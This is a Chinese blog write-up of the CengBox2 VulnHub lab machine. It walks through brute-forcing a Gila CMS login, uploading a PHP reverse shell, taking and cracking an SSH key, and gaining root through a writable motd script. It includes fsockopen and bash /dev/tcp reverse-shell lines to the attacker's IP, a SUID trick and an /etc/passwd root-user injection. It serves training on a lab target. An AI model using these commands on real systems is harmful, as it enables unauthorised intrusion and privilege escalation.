【CengBox2渗透笔记】

目录

1.前言

2.准备工作

3.arp-scan主机发现

4.nmap网络扫描

5.目录爆破

6.子域名爆破

7.burp密码爆破

8.获取反弹shell

9.提权

9.1获取普通用户shell

 9.2获取普通用户权限

9.3获取root权限


1.前言

本文仅用于技术讨论与研究,不做任何导向,对于所有笔记中复现的这些终端、服务器或者实验环境,均为自行搭建的公开靶场,请勿在现实环境中模仿、操作。本文涉及到的工具仅就用到的方面做简要描述,如果想了解更详细的信息,请自行参阅其他技术资料。如果列出的技术用于其他任何目标,作者概不负责。

2.准备工作

镜像下载地址:https://download.vulnhub.com/cengbox/CengBox2.ova

难度:中等

镜像下载完后使用VirtualBox导入,网卡1选择桥接模式,开启靶机

目标:获取user和root的flag。

靶机IP:未知

本机kali IP:192.168.1.107

3.arp-scan主机发现

使用命令:

arp-scan -l

 发现了局域网中存活的几台主机,IP:192.168.1.111是我们目标机器。

4.nmap网络扫描

nmap  -A  192.168.1.111

发现系统是linux,开放了21、22、80端口,21端口为ftp服务,使用的是vsftpd 3.0.3,22端口为ssh服务,使用的是OpenSSH 7.2p2,80端口为HTTP服务,使用的是Apache 2.4.18。一般来说,漏洞出现在HTTP服务的可能性比较大,首先看看网站。

5.目录爆破

靶机开启了80端口,提供HTTP服务。通过浏览器访问目标机器80端口看看。

 是停止运行的提示页面,没有其他东西。靶机存在web网站,服务端是有目录的,试一下目录爆破。直接使用dirsearch 目录扫描工具。

dirsearch -u http://192.168.1.111

扫描到了页面/index.html,访问后发现就是网站以上访问的页面。

想到我们在nmap扫描时候,还有ftp服务,开启了匿名登录。

ftp://192168.1.111 

 访问发现有个note.txt文件。

内容如下

获得了两个用户名Aaron、Kevin,一个默认密码,域名:ceng-company.vm ,还有个未知的域名。

修改本地hosts文件,添加新行

192.168.1.111  ceng-company.vm 

 访问http://ceng-company.vm 发现还是原来的网站

6.子域名爆破

想到还有个未知的域名,我们尝试爆破ceng-company.vm的子域名。

wfuzz -H 'HOST: FUZZ.ceng-company.vm' -u 'http://ceng-company.vm/' -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hw 53,76

找到一个二级域名admin.ceng-company.vm。

还可以使用gobuster 爆破

gobuster vhost --append-domain -u ceng-company.vm -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -q

 把admin.ceng-company.vm加入hosts文件

vim /etc/hosts

 访问http://admin.ceng-company.vm 显示禁止访问

 再进行目录爆破

gobuster dir -u http://admin.ceng-company.vm -w /usr/share/wordlists/SecLists-master/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt

 扫描到了一个目录 gila

访问http://admin.ceng-company.vm/gila/

 发现是一个主页,使用的是Gila CMS,不知道版本信息。搜索一下Gila CMS的信息,得知Gila CMS是一套基于PHP和MySQL的开源内容管理系统(CMS)。Gila CMS 1.11.6之前版本中存在跨站脚本执行漏洞。https://github.com/GilaCMS/ 有源码。后端管理路径在/admin

或者进一步对http://admin.ceng-company.vm/gila/ 进行目录爆破也能获管理员登录路径

 通过浏览器访问

http://admin.ceng-company.vm/gila/admin

 7.burp密码爆破

有登陆界面,测试下sql注入,sql注入失败

 提示输入用户名、密码,用户名是一个email地址。联想到在ftp里找到的note.txt里面内容,Aaron为Kevin创建了一个账号,密码是默认密码。知道了有两个用户Aaron、Kevin,Kevin的密码是默认密码。需要知道Kevin的email地址,想到一级域名ceng-company.vm。把它们拼接在一起得到两个email地址,kevin@ceng-company.vm和aaron@ceng-company.vm。

默认密码不知道是什么,直接在burp中尝试密码爆破。

burp设定如下

 

爆破的时候字典很重要,经过一段时间显示账号Kevin@ceng-company.vm和kevin@ceng-company.vm 通过密码admin 都能登录。

登录成功后

发现gila CMS 版本是 1.10.9,提供了文件上传功能。

8.获取反弹shell

 上传我们制作的反弹shell,或者找一个能访问的php文件,把反弹shell的PHP代码替换到其中。

直接用kali自带的反弹shell代码,代码位于目录

/usr/share/webshells/php/php-reverse-shell.php

使用反弹shell代码完全替换index.hp代码。注意要全部替换掉,犯错了会导致网页找不到,只能从头开始。

反弹shell代码中的,ip、端口要修改成我们监听的。

在攻击机上运行nc,开启监听。

nc  -vlp 5678 

然后通过浏览器访问

http://admin.ceng-company.vm/gila/admin/fm?f=./index.php 

在监听的终端发现,接受到连接。

获取的反弹shell没有显示目录,升级远程shell。
 

bash -i

SHELL=/bin/bash script -q /dev/null

 9.提权

以上步骤已经获得了web shell,但是不是系统用户shell,更不是系统管理员shell,我们期望获得管理员的权限,完全控制目标机器。

9.1获取普通用户shell

sudo - l

 可以免密码以swartz权限执行runphp.sh

sudo -u swartz ./runphp.sh

 可以执行php的环境,反弹个php shell 到攻击机。

再在攻击机上开启一个终端,启动nc监听

nc -vlp 6666

在PHP环境中运行如下代码:

$sock=fsockopen("192.168.1.107",6666);exec("/bin/sh -i <&3 >&3 2>&3");

成功获得swartz反弹shell

 9.2获取普通用户权限

在/home/mitnick目录中发现user.txt。没有权限访问。

 在目录下发现.ssh文件夹,存放ssh公钥私钥的地方。

启动php服务,下载私钥到攻击机

在swartz shell中运行

php -S 0.0.0.0:8081

在攻击机终端运行以下命令下载id_rsa

wget http://192.168.1.111:8081/id_rsa

 运行

ssh2john id_rsa > hash

john --wordlist=/usr/share/wordlists/rockyou.txt hash

破解出密码为legend

 通过ssh使用秘钥登录靶机,账号、密码为:mitnick、legend。直接使用id_rsa会报错,提示权限太多。

 降低权限。

chmod 400 id_rsa

再登录

ssh -i id_rsa mitnick@192.168.1.111

按提示输入密码legend

 使用mitnick用户成功登录,该用户flag在user.txt文件中。

9.3获取root权限

运行 uname -a

得知系统是64位,下载pspy64s到靶机上授予执行权限运行

wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64s

chmod 777 pspy64s

./pspy64s

经过观察发现 /etc/update-motd.d/00-header等,以root权限定时执行,功能是定时覆盖这些文件用/var/update-motd.d 目录下文件。

经搜索motd是message of the day的缩写,意思是“当天的提示信息”,通常在用户成功登录到Linux后出现,该信息可以从/etc/motd文本文件中找到。一般来说,这个文件是一个静态文本文件,只在某个Linux发行版本完成安装或升级后才会更新。UNIX/Linux系统管理员也通常会把一些重要的信息写到这个文件里面,以方便其他人或自己下次成功登录时需要注意什么和做什么,非常方便。也就是用户登录动作会触发执行这个文件。

 当前用户mitnick对/etc/update-motd.d/00header 有写权限,文件具有root权限,在这些文件里面添加想执行的代码,触发文件执行后也会以root权限执行。

 经过试验验证,修改文件,退出ssh,重新登录ssh触发/etc/update-motd.d/00-head 。速度要快,修改后的文件会很快自动恢复原状,修改就失败了。

/bin/nano 原始权限

 在/etc/update-motd.d/00-header 中添加chmod u+s /bin/nano

为/bin/nano 添加s权限,退出ssh

 立刻重新登录

 此时修改后的文件内容还存在

 /bin/nano 文件权限已经改变,具有s权限

 再查看/etc/update-mod.d/00-header 文件内容,发现修改的内容已经丢失。

但是此时我们修改/bin/nano 文件权限已经成功,当前用户运行nano编辑器时,具有了root权限。可以用来编辑/etc/passwd,添加新创建的用户信息。

nano编辑器 使用F1是帮助信息。

按照/etc/passwd格式添加一个用户信息,具体内容请参考,前期文章。【MinU:2渗透笔记】_北辰911的博客-CSDN博客

openssl passwd -1 -salt myroot mypasswd 

返回密文是

$1$myroot$GnZc9yty.PKbdedmcw/in.

组装用户信息

myroot:$1$myroot$GnZc9yty.PKbdedmcw/in.:0:0:myroottxt:/root:/bin/bash

使用nano编辑/etc/passwd 添加到最后一行,按Ctrl+O保存文件,Ctrl+X退出。

 切换用户到新添加的用户myroot,密码mypasswd。即拥有了root权限。

 flag在/root目录下。

在/etc/update-motd.d/00-header写内容,也可是把内容全部替换为

#!/bin/bash

bash -i >& /dev/tcp/192.168.1.107/8888 0>&1

在攻击机监听8888端口

nc -vlp 8888 

退出靶机ssh,然后重新连接触发文件执行,获得的反弹shell即为root权限。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值